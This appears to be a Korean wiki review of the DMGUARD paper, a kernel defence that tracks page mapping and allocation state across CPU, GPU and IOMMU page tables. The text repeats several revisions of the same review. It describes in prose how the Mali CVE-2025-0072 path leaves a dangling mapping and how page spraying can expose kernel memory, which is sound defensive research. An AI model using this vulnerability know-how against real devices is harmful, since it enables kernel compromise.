해당 Issue는 Process가 GPU-allocated region에 대해 명시적으로 munmap()을 호출하지 않고 종료될 때, Physical page가 Free된 뒤에도 GPU page table entry가 남는 문제였다. 연구진은 이를 ARM에 보고했고, ARM은 Dangling mapping은 존재하지만 GPU task가 이미 종료된 뒤 생성되기 때문에 Exploitable하지 않다고 판단하였다.

이 결과는 DMGUARD가 Known vulnerability를 막는 방어 기법일 뿐 아니라, 실제 Kernel/Driver의 Page lifecycle bug를 찾는 Detection tool로도 사용할 수 있음을 보여준다.

=== Performance Evaluation ===
Performance evaluation은 Pixel 8에서 수행되었다.

; LMBench
* DMGUARD의 Geomean overhead는 2.96%이다.
* ptcheck의 Geomean overhead는 1.99%이다.
* Fork 계열 Benchmark에서 상대적으로 높은 Overhead가 나타났다.
** Process fork+exit: 10.05%
** Process fork+execve: 12.58%
** Process fork+/bin/sh -c: 4.81%
* 이는 Fork 과정에서 많은 Page table entry를 설정하기 때문이라고 설명한다.

; Phoronix Test Suite
* DMGUARD의 Geomean overhead는 1.26%이다.
* Workload는 OpenSSL, PyBench, Apache, Nginx, Redis, Linux unpack/build 등을 포함한다.
* 실사용 Application workload에서는 Overhead가 낮은 편이다.

; Geekbench 6
* CPU Single-core
** Baseline: 1629.45
** DMGUARD: 1622.27(-0.44%)

* CPU Multi-core
** Baseline: 4605.09
** DMGUARD: 4545.73(-1.29%)

* GPU OpenCL
** Baseline: 7691.36
** DMGUARD: 7674.18(-0.22%)

GPU workload에서도 Overhead가 낮다는 점은 DMGUARD가 GPU page table까지 추적하면서도 Runtime cost가 크지 않음을 보여준다. CPU Multi-core overhead는 Memory barrier로 인한 영향이 상대적으로 큰 것으로 해석된다.

; Kernel boot time
* Baseline: 0.510s
* DMGUARD: 0.528s(+3.53%)

; Application cold-start latency
* AOSP system app 10개에서 Geomean overhead는 3.10%이다.
* 최대 Overhead도 수 ms~수십 ms 수준으로 보고된다.
* 논문은 Boot time과 Cold-start overhead는 One-time cost이므로 지속적인 Runtime performance에는 큰 영향을 주지 않는다고 설명한다.

; Memory overhead
* DMGUARD는 ptcheck 대비 Page당 8 bytes의 추가 Metadata를 사용한다.
* Pixel 8 기준 Baseline 대비 Memory overhead는 약 1.05%이다.
* 논문은 전체 7,739,468 KB memory에서 약 50 MB 수준의 추가 사용량으로, 현대 시스템에서는 작은 비용이라고 주장한다.

=== Robustness Evaluation ===
DMGUARD는 Linux kernel의 Page management path를 수정하므로 Stability가 중요하다. 논문은 Pixel 8에서 Android Vendor Test Suite(VTS) kernel test plan을 10회 반복 실행하였다.

* Kselftest와 Linux Test Project(LTP)를 포함한 vts-kernel test를 수행하였다.
* 10회 반복 실행 중 Crash나 Hang이 발생하지 않았다.
* 모든 Test가 통과하였다.
* Performance evaluation 중에도 Unexpected error가 발생하지 않았다.

이를 통해 논문은 DMGUARD가 실제 Android kernel에서 Stability를 해치지 않는다고 주장한다.

== [[Conclusion]] ==
Pte check에서 체크하고 있던 알려진 문제 였다는 점, 그리고 전반적으로 Design이 pte check의 확장 (이기종 시스템으로의)로 보인다는 점이 아쉬운 부분이다. 그러나 이기종 시스템에서 발생할 수 있는 UAF문제를 시기 적절하고 & 최초로 상정하였다는 점에서 Motivation이 납득 가능하고, Mechanisms측면에서는 이 적절한 Motivation을 효율적으로 풀 수 있는 최적의 방법이라는 점이 이 논문의 장점이라고 생각한다.

DMGUARD: Safeguarding Kernels from Physical-Page Use-After-Free Vulnerabilities

2026-04-29T11:19:21Z

Ahn9807:

[[분류:USENIX Security]]

{{Paper|title=DMGUARD: Safeguarding Kernels from Physical-Page Use-After-Free Vulnerabilities|author=Juhee Kim, Jaeyoung Chung, Dae R. Jeong, Byoungyoung Lee|year=2026|conference=USENIX Security}}

== 개요 ==
Physical-page use-after-free라는 Page table entry 수준에서 일어나는 Use-after-free를 새로운 Vulnerability domain으로 정의하고, 이를 막을 수 있는 Runtime mitigation인 DMGUARD를 제시하였다.

기존의 Use-after-free는 일반적으로 Virtual address space 안에서 Freed object를 가리키는 Dangling pointer 문제로 이해되었다. 반면 본 논문에서 정의하는 Physical-page use-after-free는 Virtual address가 Page table을 통해 이미 Free되었거나 Reallocation된 Physical page를 계속 가리키는 문제이다. 즉, Object pointer가 아니라 Virtual-to-physical address translation layer에서 발생하는 Use-after-free이다.

DMGUARD는 각 Physical page의 Lifecycle을 State machine으로 모델링하고, Page allocation, Mapping, Unmapping, Free 시점에서 Per-page metadata를 업데이트한다. 이를 통해 Page가 아직 Mapping된 상태에서 Free되는 Free-before-unmap과, 이미 Free된 Page reference를 다시 Mapping하는 Map-after-free를 탐지한다.

핵심 메커니즘은 두 가지이다. 첫째, MapCount를 이용해서 해당 Physical page가 User-space page table에 몇 번 Mapping되어 있는지를 추적한다. 둘째, PageTag와 RefTag를 이용해서 Page reference가 현재 Allocation cycle에 속한 유효한 Reference인지 확인한다. 이를 통해 CPU page table뿐 아니라 GPU page table, IOMMU page table처럼 여러 Translation domain에 걸친 Dangling mapping을 탐지하고 차단한다.

== Motivation & Importance ==
현대 Kernel security mechanism들은 대부분 Page table의 정확성을 전제로 한다. 예를 들어 ASLR, CFI, DFI, PAC, MTE, MPK와 같은 방어 기법은 Virtual address가 올바른 Physical page로 Translation된다는 가정 위에서 동작한다. 그러나 Page table에 Dangling mapping이 남아 있으면, 공격자는 기존 방어 기법을 우회해서 Freed page 또는 Reallocated page를 User space에서 접근할 수 있다.

특히 Mobile/Embedded system에서는 CPU와 Integrated GPU가 같은 Physical memory를 공유하면서도 서로 다른 Page table을 사용한다. 예를 들어 Mali GPU나 Adreno GPU는 System DRAM을 공유하지만, GPU driver가 별도의 Page allocator와 GPU page table을 관리한다. 이 과정에서 CPU page table, GPU page table, IOMMU page table이 같은 Physical page를 가리킬 수 있다. Zero-copy memory sharing은 성능상 이점이 있지만, Page allocation과 Mapping/Unmapping의 책임이 여러 Subsystem에 분산되기 때문에 Page lifecycle 관리가 복잡해진다.

기존의 CONFIG_PAGE_TABLE_CHECK(ptcheck)는 CPU-side Page table mapping을 중심으로 관리한다. 따라서 GPU allocator가 할당한 Page가 CPU page table에 Mapping되거나, GPU page table/IOMMU page table에 Mapping되는 경우를 충분히 추적하지 못한다. 또한 ptcheck는 Mapping status는 일부 추적하지만 Allocation status를 추적하지 않기 때문에 Map-after-free를 근본적으로 탐지하기 어렵다.

또한 Page management는 Performance-sensitive path에 있다. Page fault, mmap, munmap, fork, GPU memory management 등은 자주 호출되기 때문에, 단순히 Global lock을 걸거나 Heavy synchronization을 추가하는 방식은 실용적이지 않다. 따라서 이 논문의 Motivation은 Heterogeneous translation domain 전체에서 Page lifecycle을 정확히 추적하면서도 낮은 Overhead를 유지하는 것이다.

== Challenge ==
* '''Systems with multiple different page tables distribute lifecycle management across independent subsystems'''
** 현대 시스템에서는 CPU, GPU, IOMMU 등이 각각 독립적인 Page table 또는 Translation structure를 가질 수 있다.
** Page allocation은 GPU driver가 수행하고, CPU mapping은 Kernel이 수행하며, IOMMU mapping은 별도의 Subsystem이 수행할 수 있다.
** 이처럼 Page lifecycle이 여러 Subsystem에 분산되어 있기 때문에, 어떤 Physical page가 아직 Mapping되어 있는지 전역적으로 판단하기 어렵다.

* '''Page management resides in a performance-sensitive path where synchronization overhead across different subsystems is expensive'''
** Page table operation은 Page fault, fork, mmap/munmap, GPU memory operation 등 성능에 민감한 경로에서 수행된다.
** 따라서 CPU/GPU/IOMMU 사이의 모든 Mapping 상태를 Lock 기반으로 동기화하면 Runtime overhead가 커질 수 있다.
** DMGUARD는 이를 해결하기 위해 Lockless design을 사용하고, Atomic operation과 Memory barrier를 통해 Concurrent Map/Free race를 막는다.

* '''The kernel provides low-level mapping interfaces that bypass standard page management mechanisms'''
** Linux kernel은 VM_PFNMAP과 같이 Page descriptor나 Reference counting을 우회하는 Low-level PFN-based mapping interface를 제공한다.
** 이러한 Interface는 MMIO처럼 일반 Buddy allocator가 관리하지 않는 Memory를 Mapping하기 위해 필요하지만, Device driver가 Buddy allocator에서 온 Page에도 이를 사용하면 Reference count가 제대로 갱신되지 않을 수 있다.
** 결과적으로 Page가 아직 Mapping되어 있음에도 Free되거나, 이미 Free된 PFN을 다시 Mapping하는 문제가 생길 수 있다.

* '''Correctness under concurrency is non-trivial'''
** Map과 Free가 서로 다른 CPU core 또는 Subsystem에서 동시에 발생할 수 있다.
** Weak memory model을 가진 ARM/RISC-V에서는 Instruction reordering 때문에 MapCount update와 PageTag check의 순서가 뒤바뀔 수 있다.
** DMGUARD는 LKMM(Linux Kernel Memory Model)을 기준으로 Memory barrier와 Atomic operation을 배치하여, Concurrent Map-Free 상황에서도 Dangling mapping이 생기지 않도록 설계한다.

== Background ==
; Physical-page use-after-free
* Traditional heap use-after-free는 Virtual address space 안의 Pointer가 이미 Free된 Object를 가리키는 문제이다.
* Physical-page use-after-free는 Page table entry가 이미 Free되었거나 다른 목적으로 Reallocation된 Physical page를 계속 가리키는 문제이다.
* 따라서 문제의 위치가 Object allocator가 아니라 Address translation layer이다.
* 공격자는 Page spraying을 통해 Freed physical page가 Attacker-controlled content로 재할당되도록 유도할 수 있다.
* 그 결과 User process가 Dangling mapping을 통해 Kernel page table, Credential structure 등 민감한 Physical memory를 접근할 수 있다.

; Dangling mapping
* Dangling mapping은 Page table entry가 이미 Free된 Physical page를 계속 가리키는 상태이다.
* 이 상태에서 Processor가 해당 Virtual address에 접근하면, 실제로는 Free되었거나 다른 용도로 재사용된 Physical page에 접근하게 된다.
* 논문은 Dangling mapping을 Physical-page UAF의 직접적인 원인으로 본다.

; Free-before-unmap
* Page가 Page table에 아직 Mapping되어 있는데 먼저 Free되는 경우이다.
* 정상적인 순서는 Unmap(P) 이후 Free(P)이다.
* 하지만 Free(P)가 Unmap(P)보다 먼저 발생하면 기존 Page table entry가 Freed page를 계속 가리키게 된다.
* DMGUARD는 Free 시점에 MapCount가 0인지 확인하여 이를 탐지한다.

; Map-after-free
* 이미 Free된 Page reference를 사용해서 Mapping을 만드는 경우이다.
* 예를 들어 Old struct page* 또는 Old PFN이 남아 있고, 이 Reference를 이용해 다시 PTE를 만들면 Freed page에 대한 Mapping이 생성될 수 있다.
* DMGUARD는 PageTag와 RefTag를 비교하여 Reference가 현재 Allocation cycle에 속하는지 확인한다.

; CVE-2025-0072 사례
* 논문은 Mali GPU driver의 CVE-2025-0072를 대표적인 Real-world example로 제시한다.
* Mali driver는 mmap() 과정에서 GPU command buffer를 위한 Virtual address를 예약하고, GPU page allocator에서 Page를 할당한 뒤 queue->phys에 Physical address를 저장한다.
* 실제 CPU mapping은 Lazy하게 Page fault 시점에 생성된다.
* 취약한 경로에서는 두 번째 mmap()이 queue->phys를 새 Page로 덮어쓴 뒤, 첫 번째 mmap region을 munmap할 때 실제 Mapping은 제거되지 않지만 queue->phys가 가리키는 두 번째 Page가 Free된다.
* 그 결과 VA2 -> PA2 Mapping이 CPU page table에 남아 있는데 PA2가 Free되어 Free-before-unmap 취약점이 발생한다.

== Main Idea ==
DMGUARD의 핵심 아이디어는 Physical page의 Lifecycle을 State machine으로 표현하고, 각 State transition이 올바른 순서로 일어나는지 Runtime에 검사하는 것이다.

Page는 크게 다음 상태를 가진다.

* '''Freed-Unmapped'''
** Page allocator의 Free pool에 있는 상태이다.
** 어떤 Page table에도 Mapping되어 있지 않다.
** Virtual address를 통해 접근할 수 없다.

* '''Allocated-Unmapped'''
** Page allocator에서 할당되었지만 아직 어떤 User-space page table에도 Mapping되지 않은 상태이다.
** Kernel은 struct page* 또는 PFN을 통해 이 Page를 참조할 수 있지만, User process는 아직 접근할 수 없다.

* '''Allocated-Mapped'''
** Page가 할당되어 있고, 하나 이상의 Page table entry가 이 Physical page를 가리키는 상태이다.
** CPU page table, GPU page table, IOMMU page table 등 여러 Translation domain에서 동시에 Mapping될 수 있다.

정상적인 Lifecycle은 다음과 같다.

* Freed-Unmapped -> Allocated-Unmapped
** Alloc(P)에 의해 Page가 할당된다.

* Allocated-Unmapped -> Allocated-Mapped
** Map(P)에 의해 Page table entry가 생성된다.

* Allocated-Mapped -> Allocated-Unmapped
** Unmap(P)에 의해 모든 Mapping이 제거된다.

* Allocated-Unmapped -> Freed-Unmapped
** Free(P)에 의해 Page가 allocator로 반환된다.

DMGUARD는 이 State machine에서 잘못된 Transition을 탐지한다.

* '''Free-before-unmap'''
** Allocated-Mapped 상태의 Page가 Unmap 없이 Free되는 경우이다.
** 즉, Allocated-Mapped -> Freed-Unmapped로 바로 가는 잘못된 Transition이다.
** DMGUARD는 Free(P) 시점에 MapCount(P) != 0이면 이를 Free-before-unmap으로 판단한다.

* '''Map-after-free'''
** Freed-Unmapped 상태의 Page reference를 이용해서 Mapping을 만드는 경우이다.
** 즉, Freed-Unmapped -> Allocated-Mapped처럼 Allocation 없이 Mapping이 만들어지는 잘못된 Transition이다.
** DMGUARD는 Map(P) 시점에 PageTag(P)와 RefTag(P)가 다르면 이를 Map-after-free로 판단한다.

이를 위해 DMGUARD는 두 종류의 Metadata를 사용한다.

* '''MapCount'''
** Physical page마다 유지되는 Counter이다.
** User-space Mapping이 생성될 때 증가하고, Mapping이 제거될 때 감소한다.
** CPU page table뿐 아니라 GPU page table, IOMMU page table의 Mapping도 함께 반영한다.
** Page를 Free할 때 MapCount가 0이 아니면 아직 Dangling mapping이 존재할 수 있으므로 Free-before-unmap으로 탐지한다.

* '''PageTag / RefTag'''
** PageTag는 Physical page의 현재 Allocation cycle을 나타내는 Per-page tag이다.
** RefTag는 struct page* 또는 PFN 같은 Page reference에 붙는 Tag이다.
** Page가 Allocate될 때 PageTag를 새 Random value로 갱신하고, 그 Page를 가리키는 Reference에는 같은 RefTag를 부여한다.
** Page가 Free되면 PageTag를 다시 갱신하여 Old reference를 무효화한다.
** Mapping을 만들 때 PageTag와 RefTag가 일치하지 않으면, Old reference를 통한 Map-after-free로 판단한다.

즉, DMGUARD는 Mapping status는 MapCount로 추적하고, Allocation status는 PageTag/RefTag로 추적한다. 이 두 정보를 결합하여 “Freed page가 Mapping되거나, Mapped page가 Free되는 상태”를 Runtime에 막는다.

== Design ==
DMGUARD의 설계는 크게 State machine, Twofold state tracking, Lockless integration, Kernel/GPU driver instrumentation으로 구성된다.

=== Page Lifecycle State Machine ===
DMGUARD는 각 Physical page의 상태를 Allocation status와 Mapping status의 조합으로 본다.

* Allocation status
** Freed
** Allocated

* Mapping status
** Unmapped
** Mapped

이 조합을 통해 Page는 Freed-Unmapped, Allocated-Unmapped, Allocated-Mapped 상태를 가진다. Freed-Mapped 상태는 존재해서는 안 되는 Invalid state이다. Physical-page UAF는 결국 Freed-Mapped 상태가 만들어지는 문제로 볼 수 있다.

DMGUARD의 목표는 Runtime에 Page operation을 감시하여 Freed-Mapped 상태가 생기기 전에 중단하는 것이다.

=== Tracking Mapping Status with MapCount ===
MapCount는 Page가 몇 개의 User-space Mapping을 가지고 있는지를 나타낸다.

* Map(P)
** Page가 User-space page table에 Mapping되면 MapCount(P)를 증가시킨다.

* Unmap(P)
** Page의 Mapping이 제거되면 MapCount(P)를 감소시킨다.

* Free(P)
** Page를 Free하기 전에 MapCount(P)를 확인한다.
** MapCount(P)가 0이면 안전하게 Free할 수 있다.
** MapCount(P)가 0보다 크면 아직 Mapping이 남아 있으므로 Free-before-unmap으로 탐지한다.

이 방식은 Reference counting과 유사하지만, 일반적인 Object reference count가 아니라 Page table mapping의 개수를 추적한다는 점이 중요하다. 또한 CPU page table뿐 아니라 GPU/IOMMU page table의 Mapping까지 포함한다.

=== Tracking Allocation Status with PageTag / RefTag ===
MapCount만으로는 Map-after-free를 막을 수 없다. 이미 Free된 Page reference가 남아 있고, 이를 이용해 Mapping을 만들면 MapCount는 새로 증가할 수 있기 때문이다. 따라서 DMGUARD는 Allocation cycle을 구분하기 위해 Tagging을 사용한다.

* PageTag
** Physical page의 Per-page metadata에 저장된다.
** 현재 Allocation cycle을 나타낸다.
** Page가 Allocate되거나 Free될 때 새 Random tag로 갱신된다.

* RefTag
** struct page* 또는 PFN 같은 Page reference에 저장된다.
** 해당 Reference가 만들어졌을 때의 PageTag를 보존한다.
** ARM64에서는 TBI(Top Byte Ignore)를 활용하여 struct page*의 Top byte에 RefTag를 저장한다.

Mapping을 만들 때 DMGUARD는 PageTag(P)와 RefTag(P)를 비교한다.

* PageTag(P) == RefTag(P)
** Reference가 현재 Allocation cycle의 Page를 가리키므로 Mapping을 허용한다.

* PageTag(P) != RefTag(P)
** Reference가 Old allocation cycle의 Stale reference이므로 Map-after-free로 탐지한다.

논문에서는 8-bit Tag를 사용한다. 하나의 값은 Default tag로 예약하고, 나머지 값을 Random하게 사용한다. 이 때문에 일반적인 Reallocation 이후 Map-after-free에는 1/255 확률의 Tag collision 가능성이 있다. 그러나 Free 직후 바로 Mapping하는 Immediate map-after-free의 경우 이전 Tag와 다른 값을 강제하여 100% 탐지한다고 설명한다.

=== Lockless Integration ===
Page management path는 매우 성능에 민감하므로 DMGUARD는 Global lock을 사용하지 않는다. 대신 Atomic operation과 Memory barrier를 사용하여 Concurrent operation의 Correctness를 보장한다.

DMGUARD의 핵심 Operation은 다음과 같다.

* dmcAlloc()
** 기존 Alloc()을 호출해 Page를 할당한다.
** PageTag를 새 값으로 갱신한다.
** 반환되는 struct page* 또는 PFN에 같은 RefTag를 설정한다.

* dmcMap()
** MapCount를 증가시킨다.
** Memory barrier를 수행한다.
** PageTag와 RefTag를 비교한다.
** Tag가 일치하면 실제 Map(P)를 수행한다.
** Tag가 다르면 Map-after-free로 판단한다.

* dmcUnmap()
** 실제 Unmap(P)를 수행한다.
** MapCount를 감소시킨다.
** MapCount가 음수가 되면 잘못된 Unmap으로 판단한다.

* dmcFree()
** PageTag를 먼저 갱신하여 기존 Reference를 무효화한다.
** Memory barrier를 수행한다.
** MapCount가 0인지 확인한다.
** MapCount가 0이면 실제 Free(P)를 수행한다.
** MapCount가 0보다 크면 Free-before-unmap으로 판단한다.

이 순서는 Concurrent Map-Free race를 막기 위해 중요하다. 예를 들어 dmcMap에서 MapCount 증가가 PageTag check보다 뒤로 Reorder되면, 동시에 수행되는 dmcFree가 MapCount를 0으로 보고 Page를 Free할 수 있다. DMGUARD는 Memory barrier를 통해 이러한 Reordering을 막는다.

논문은 이 Lockless design이 x86, ARM, RISC-V 등 Linux가 지원하는 Architecture의 Memory model에서도 안전하게 동작하는지 LKMM(Linux Kernel Memory Model) Litmus test로 검증했다고 주장한다.

=== Integration with Kernel and GPU Drivers ===
DMGUARD는 Linux kernel과 GPU driver의 Page operation interface에 통합된다.

* Linux kernel
** Map: set_pte_at
** Unmap: ptep_get_and_clear, ptep_get_and_clear_full
** Alloc: post_alloc_hook
** Free: free_pages_prepare

* Mali GPU driver
** Map: entry_set_ate, entry_set_pte
** Unmap: entries_invalidate
** Alloc: kbase_mem_pool_alloc, kbase_mem_pool_alloc_pages 등
** Free: kbase_mem_pool_free, kbase_mem_pool_free_pages 등

* Adreno GPU driver
** Map: __arm_lpae_set_pte, arm_lpae_init_pte
** Unmap: __arm_lpae_set_pte, arm_lpae_init_pte, __arm_lpae_free_pgtable, __arm_lpae_unmap
** Alloc: kgsl_pool_alloc_page
** Free: kgsl_pool_free_page

구현 규모는 Core DMGUARD가 약 400 LOC, Tagged PFN macro가 약 560 LOC, Mali GPU driver 변경이 약 90 LOC, Adreno GPU driver 변경이 약 80 LOC이다. 이는 DMGUARD가 기존 Kernel 구조를 크게 바꾸기보다는 주요 Page lifecycle operation에 작은 Instrumentation을 추가하는 방식임을 보여준다.

=== Comparison with CONFIG_PAGE_TABLE_CHECK ===
CONFIG_PAGE_TABLE_CHECK는 CPU page table의 Mapping status를 일부 추적할 수 있지만, DMGUARD와 비교하면 다음 한계가 있다.

* CPU page allocator와 CPU page table 사이의 Free-before-unmap은 탐지할 수 있다.
* 그러나 CPU page와 Device mapping, Device page와 CPU mapping, Device page와 Device mapping은 충분히 다루지 못한다.
* Allocation status를 추적하지 않으므로 Map-after-free를 탐지하지 못한다.
* Concurrent Map-Free race에 대한 Synchronization이 부족하여 TOCTOU-style vulnerability가 가능하다.

반면 DMGUARD는 Allocation status와 Mapping status를 모두 추적하고, CPU/GPU/IOMMU context를 함께 고려하며, Lockless synchronization으로 Concurrent race까지 다루려고 한다.

== Evaluation ==
논문은 DMGUARD를 Security, Performance, Robustness 측면에서 평가하였다.

=== Evaluation Setup ===
DMGUARD는 세 가지 환경에서 평가되었다.

* QEMU AArch64 환경
** Linux kernel v6.6.0
** Mali GPU driver
** Dummy GPU device(MALI_NO_MALI)

* Pixel 8
** Android 15
** Linux kernel v6.1.99
** ARMv8.5 CPU
** Mali GPU

* Pixel 3 XL
** Android 12
** Linux kernel v4.9.270
** ARMv8.2 CPU
** Qualcomm Adreno GPU

비교 대상은 다음과 같다.

* Baseline
** Dangling mapping mitigation이 없는 기본 Kernel configuration

* ptcheck
** Linux CONFIG_PAGE_TABLE_CHECK

* DMGUARD
** 본 논문에서 제안한 Runtime mitigation

=== Security Evaluation ===
Security evaluation에서는 총 24개의 Physical-page use-after-free vulnerability를 대상으로 DMGUARD와 ptcheck를 비교하였다.

* 19개는 Real-world vulnerability이다.
** Linux kernel
** Mali GPU driver
** Adreno GPU driver
** PowerVR GPU driver

* 5개는 Synthetic vulnerability이다.
** Map-after-free case
** Race condition 기반 Free-before-unmap case

논문은 이 중 15개를 실제 환경에서 Empirical evaluation하였다. 나머지 9개는 Hardware 부족, GPU driver virtual environment 미지원, Kernel/driver version mismatch 등의 이유로 직접 재현하지 못하고 Theoretical analysis를 수행하였다.

Empirical evaluation 결과는 다음과 같다.

* DMGUARD
** 15개 중 15개 모두 탐지하였다.

* ptcheck
** 15개 중 5개만 탐지하였다.

ptcheck가 탐지한 경우는 주로 CPU page가 CPU page table에 Mapping된 Free-before-unmap case이다. 반면 GPU page allocator, GPU page table, IOMMU page table이 관련된 경우나 Map-after-free case는 탐지하지 못했다.

Theoretical analysis 대상 9개에서도 논문은 DMGUARD가 설계상 모두 탐지 가능하다고 분석하였다. 이 9개는 모두 GPU page가 GPU 또는 IOMMU context에 Mapping되는 형태라 ptcheck는 탐지하지 못한다고 설명한다.

=== False Positives and False Negatives ===
논문은 Performance evaluation과 Robustness test 중 DMGUARD가 False alarm을 발생시키지 않았다고 보고한다. 또한 Known vulnerability test에서 모든 Empirical case를 탐지했기 때문에 실험상 False negative도 관찰되지 않았다고 한다.

그러나 설계상 False positive와 False negative 가능성은 존재한다.

* MapCount 관련 False positive
** 실제로는 Unmap되었지만 MapCount가 감소하지 않으면, Free 시점에 Dangling mapping으로 잘못 판단할 수 있다.

* MapCount 관련 False negative
** 실제로 Mapping되었지만 MapCount가 증가하지 않으면, Free-before-unmap을 놓칠 수 있다.

* PageTag 관련 False negative
** Mapping 시점에 Tag check가 빠지면 Map-after-free를 놓칠 수 있다.
** Page가 Free/Reallocation될 때 Tag가 갱신되지 않으면 Stale reference를 탐지하지 못할 수 있다.
** 8-bit Tag collision이 발생하면 Old reference의 RefTag와 New PageTag가 우연히 일치할 수 있다.

* Instrumentation coverage 문제
** Driver가 Standard API를 거치지 않고 Page table을 직접 조작하면 DMGUARD가 상태 변화를 추적하지 못할 수 있다.

=== Finding Unknown Vulnerabilities ===
논문은 Pixel 8에서 DMGUARD를 활성화한 상태로 Syzkaller를 실행하였다. 이 과정에서 Upstream Mali GPU driver의 Dangling mapping issue를 발견하였다.

해당 Issue는 Process가 GPU-allocated region에 대해 명시적으로 munmap()을 호출하지 않고 종료될 때, Physical page가 Free된 뒤에도 GPU page table entry가 남는 문제였다. 연구진은 이를 ARM에 보고했고, ARM은 Dangling mapping은 존재하지만 GPU task가 이미 종료된 뒤 생성되기 때문에 Exploitable하지 않다고 판단하였다.

이 결과는 DMGUARD가 Known vulnerability를 막는 방어 기법일 뿐 아니라, 실제 Kernel/Driver의 Page lifecycle bug를 찾는 Detection tool로도 사용할 수 있음을 보여준다.

=== Performance Evaluation ===
Performance evaluation은 Pixel 8에서 수행되었다.

; LMBench
* DMGUARD의 Geomean overhead는 2.96%이다.
* ptcheck의 Geomean overhead는 1.99%이다.
* Fork 계열 Benchmark에서 상대적으로 높은 Overhead가 나타났다.
** Process fork+exit: 10.05%
** Process fork+execve: 12.58%
** Process fork+/bin/sh -c: 4.81%
* 이는 Fork 과정에서 많은 Page table entry를 설정하기 때문이라고 설명한다.

; Phoronix Test Suite
* DMGUARD의 Geomean overhead는 1.26%이다.
* Workload는 OpenSSL, PyBench, Apache, Nginx, Redis, Linux unpack/build 등을 포함한다.
* 실사용 Application workload에서는 Overhead가 낮은 편이다.

; Geekbench 6
* CPU Single-core
** Baseline: 1629.45
** DMGUARD: 1622.27(-0.44%)

* CPU Multi-core
** Baseline: 4605.09
** DMGUARD: 4545.73(-1.29%)

* GPU OpenCL
** Baseline: 7691.36
** DMGUARD: 7674.18(-0.22%)

GPU workload에서도 Overhead가 낮다는 점은 DMGUARD가 GPU page table까지 추적하면서도 Runtime cost가 크지 않음을 보여준다. CPU Multi-core overhead는 Memory barrier로 인한 영향이 상대적으로 큰 것으로 해석된다.

; Kernel boot time
* Baseline: 0.510s
* DMGUARD: 0.528s(+3.53%)

; Application cold-start latency
* AOSP system app 10개에서 Geomean overhead는 3.10%이다.
* 최대 Overhead도 수 ms~수십 ms 수준으로 보고된다.
* 논문은 Boot time과 Cold-start overhead는 One-time cost이므로 지속적인 Runtime performance에는 큰 영향을 주지 않는다고 설명한다.

; Memory overhead
* DMGUARD는 ptcheck 대비 Page당 8 bytes의 추가 Metadata를 사용한다.
* Pixel 8 기준 Baseline 대비 Memory overhead는 약 1.05%이다.
* 논문은 전체 7,739,468 KB memory에서 약 50 MB 수준의 추가 사용량으로, 현대 시스템에서는 작은 비용이라고 주장한다.

=== Robustness Evaluation ===
DMGUARD는 Linux kernel의 Page management path를 수정하므로 Stability가 중요하다. 논문은 Pixel 8에서 Android Vendor Test Suite(VTS) kernel test plan을 10회 반복 실행하였다.

* Kselftest와 Linux Test Project(LTP)를 포함한 vts-kernel test를 수행하였다.
* 10회 반복 실행 중 Crash나 Hang이 발생하지 않았다.
* 모든 Test가 통과하였다.
* Performance evaluation 중에도 Unexpected error가 발생하지 않았다.

이를 통해 논문은 DMGUARD가 실제 Android kernel에서 Stability를 해치지 않는다고 주장한다.

== [[Conclusion]] ==
우선 메모리 Vulnerability domain을 새로 찾았다고 나오지만, 사실 pte check에서 체크하고 있던 잘 알려진 문제 였다는 점, 그리고 전반적으로 Design이 pte check의 확장 (이기종 시스템으로의)로 보인다는 점이 주된 한계로 들수 있다. 그러나 이기종 시스템에서 발생할 수 있는 UAF문제를 시기 적절하고 & 최초로 상정하였다는 점에서 Motivation이 납득 가능하고, Mechanisms측면에서는 이 적절한 Motivation을 효율적으로 풀 수 있는 최적의 방법이라는 점이 이 논문의 장점이라고 생각한다.

DMGUARD: Safeguarding Kernels from Physical-Page Use-After-Free Vulnerabilities

2026-04-29T11:18:59Z

Ahn9807:

[[분류:USENIX Security]]

{{Paper|title=DMGUARD: Safeguarding Kernels from Physical-Page Use-After-Free Vulnerabilities|author=Juhee Kim, Jaeyoung Chung, Dae R. Jeong, Byoungyoung Lee|year=2026|conference=USENIX Security}}

== 개요 ==
Physical-page use-after-free라는 Page table entry 수준에서 일어나는 Use-after-free를 새로운 Vulnerability domain으로 정의하고, 이를 막을 수 있는 Runtime mitigation인 DMGUARD를 제시하였다.

기존의 Use-after-free는 일반적으로 Virtual address space 안에서 Freed object를 가리키는 Dangling pointer 문제로 이해되었다. 반면 본 논문에서 정의하는 Physical-page use-after-free는 Virtual address가 Page table을 통해 이미 Free되었거나 Reallocation된 Physical page를 계속 가리키는 문제이다. 즉, Object pointer가 아니라 Virtual-to-physical address translation layer에서 발생하는 Use-after-free이다.

DMGUARD는 각 Physical page의 Lifecycle을 State machine으로 모델링하고, Page allocation, Mapping, Unmapping, Free 시점에서 Per-page metadata를 업데이트한다. 이를 통해 Page가 아직 Mapping된 상태에서 Free되는 Free-before-unmap과, 이미 Free된 Page reference를 다시 Mapping하는 Map-after-free를 탐지한다.

핵심 메커니즘은 두 가지이다. 첫째, MapCount를 이용해서 해당 Physical page가 User-space page table에 몇 번 Mapping되어 있는지를 추적한다. 둘째, PageTag와 RefTag를 이용해서 Page reference가 현재 Allocation cycle에 속한 유효한 Reference인지 확인한다. 이를 통해 CPU page table뿐 아니라 GPU page table, IOMMU page table처럼 여러 Translation domain에 걸친 Dangling mapping을 탐지하고 차단한다.

== Motivation & Importance ==
현대 Kernel security mechanism들은 대부분 Page table의 정확성을 전제로 한다. 예를 들어 ASLR, CFI, DFI, PAC, MTE, MPK와 같은 방어 기법은 Virtual address가 올바른 Physical page로 Translation된다는 가정 위에서 동작한다. 그러나 Page table에 Dangling mapping이 남아 있으면, 공격자는 기존 방어 기법을 우회해서 Freed page 또는 Reallocated page를 User space에서 접근할 수 있다.

특히 Mobile/Embedded system에서는 CPU와 Integrated GPU가 같은 Physical memory를 공유하면서도 서로 다른 Page table을 사용한다. 예를 들어 Mali GPU나 Adreno GPU는 System DRAM을 공유하지만, GPU driver가 별도의 Page allocator와 GPU page table을 관리한다. 이 과정에서 CPU page table, GPU page table, IOMMU page table이 같은 Physical page를 가리킬 수 있다. Zero-copy memory sharing은 성능상 이점이 있지만, Page allocation과 Mapping/Unmapping의 책임이 여러 Subsystem에 분산되기 때문에 Page lifecycle 관리가 복잡해진다.

